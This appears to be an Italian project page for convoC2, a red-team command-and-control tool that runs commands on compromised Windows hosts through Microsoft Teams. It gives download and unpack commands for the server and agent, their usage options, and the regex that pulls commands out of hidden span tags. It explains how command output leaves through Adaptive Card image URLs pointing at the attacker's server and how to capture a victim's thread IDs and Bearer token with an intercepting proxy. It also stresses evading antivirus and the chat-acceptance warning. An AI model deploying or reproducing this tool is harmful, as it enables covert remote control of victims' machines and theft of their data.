
Infrastruttura C2 su Microsoft Teams.
Infrastruttura di Command and Control che consente ai Red Teamer di eseguire comandi di sistema su host compromessi tramite Microsoft Teams.
Infiltra dati in tag span nascosti nei messaggi di Microsoft Teams ed esfiltra gli output dei comandi tramite URL di immagini in Adaptive Cards, innescando richieste out-of-bound verso un server C2.
L'assenza di comunicazione diretta tra la vittima e l'attaccante, unita al fatto che la vittima invia solo richieste http ai server Microsoft e che gli antivirus non ispezionano i file di log di MS Teams, rende il rilevamento più difficile.

Il seguente video mostra l'utilizzo del server per controllare due host compromessi: uno che esegue il nuovo Teams su Windows 11 e l'altro che esegue il vecchio Teams su Windows 10. Nel primo caso, l'attaccante non appartiene alla stessa organizzazione della vittima.
https://github.com/user-attachments/assets/d9fcccc1-de73-49cd-aaa7-df53303dbc6a
Nota: Nel primo caso la vittima ha già accettato la chat con l'attaccante esterno, ma in uno scenario reale in cui l'attaccante avvia la chat con la vittima per la prima volta, la vittima dovrebbe confermare la chat con l'attaccante (sebbene questo messaggio di avviso possa essere facilmente aggirato, vedi qui). Questo non è un problema: poiché i messaggi vengono comunque memorizzati nella cache del file di log, i comandi vengono ricevuti ed eseguiti anche se la vittima non ha ancora visualizzato o accettato la chat.
Server
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_server_amd64.tar.gz
tar -xzvf convoC2_server_amd64.tar.gz --one-top-level
root@convoC2-server-VPS:~# ./convoC2_server_amd64 -h
Usage of convoC2 server:
-t, --msgTimeout How much to wait for command output (default 30 s)
-b, --bindIp Bind IP address (default 0.0.0.0)
Agente
wget https://github.com/cxnturi0n/convoC2/releases/download/v0.1.0-alpha/convoC2_agent.tar.gz
tar -xzvf convoC2_agent.tar.gz --one-top-level
C:\Windows>convoC2_agent.exe -h
Usage of convoC2 agent:
-v, --verbose Verbose logging (default false)
-s, --server C2 server URL (i.e. http://10.11.12.13/)
-t, --timeout Teams log file polling timeout [s] (default 1)
-w, --webhook Teams Webhook POST URL
-r, --regex Regex to match command (default "<span[^>]*aria-label=\"([^\"]*)\"[^>]*></span>")
Per farlo funzionare, dovrai configurare alcune cose:

https://teams.microsoft.com/api/chatsvc/emea/v1/threads con gli id univoci della vittima e dell'attaccante nel body. Nella risposta, il threadId verrà restituito nel path dell'url dell'header Location.
Il Bearer token della stessa richiesta viene utilizzato per autenticarsi a https://teams.microsoft.com/api/chatsvc/emea/v1/users/ME/conversations/<threadId>/messages, che è l'endpoint per l'invio dei messaggi. Quindi dobbiamo solo recuperare queste tre cose e il server si occuperà del resto.Dopo aver avviato il server puoi ricevere nuovi agenti e controllarli, utilizzando i dati ottenuti in precedenza per l'autenticazione. Consulta la demo per un esempio di utilizzo.
Prima di tutto, dovrai creare un canale Teams.

Fai clic con il tasto destro sui tre puntini, poi clicca su "Workflows".

Nella barra di ricerca digita "Webhook" e clicca su "Post to a channel when a webhook request is received".

Continua con le impostazioni predefinite e infine copia l'url.

Inizia cercando la vittima.

Dopo aver selezionato l'account della vittima, con il web proxy che intercetta le richieste, puoi inviare un messaggio di prova.

Salva i due id presenti nella richiesta api/chatsvc/emea/v1/threads poi DROPpa la richiesta. L'auth token sarà il Bearer token della stessa richiesta.
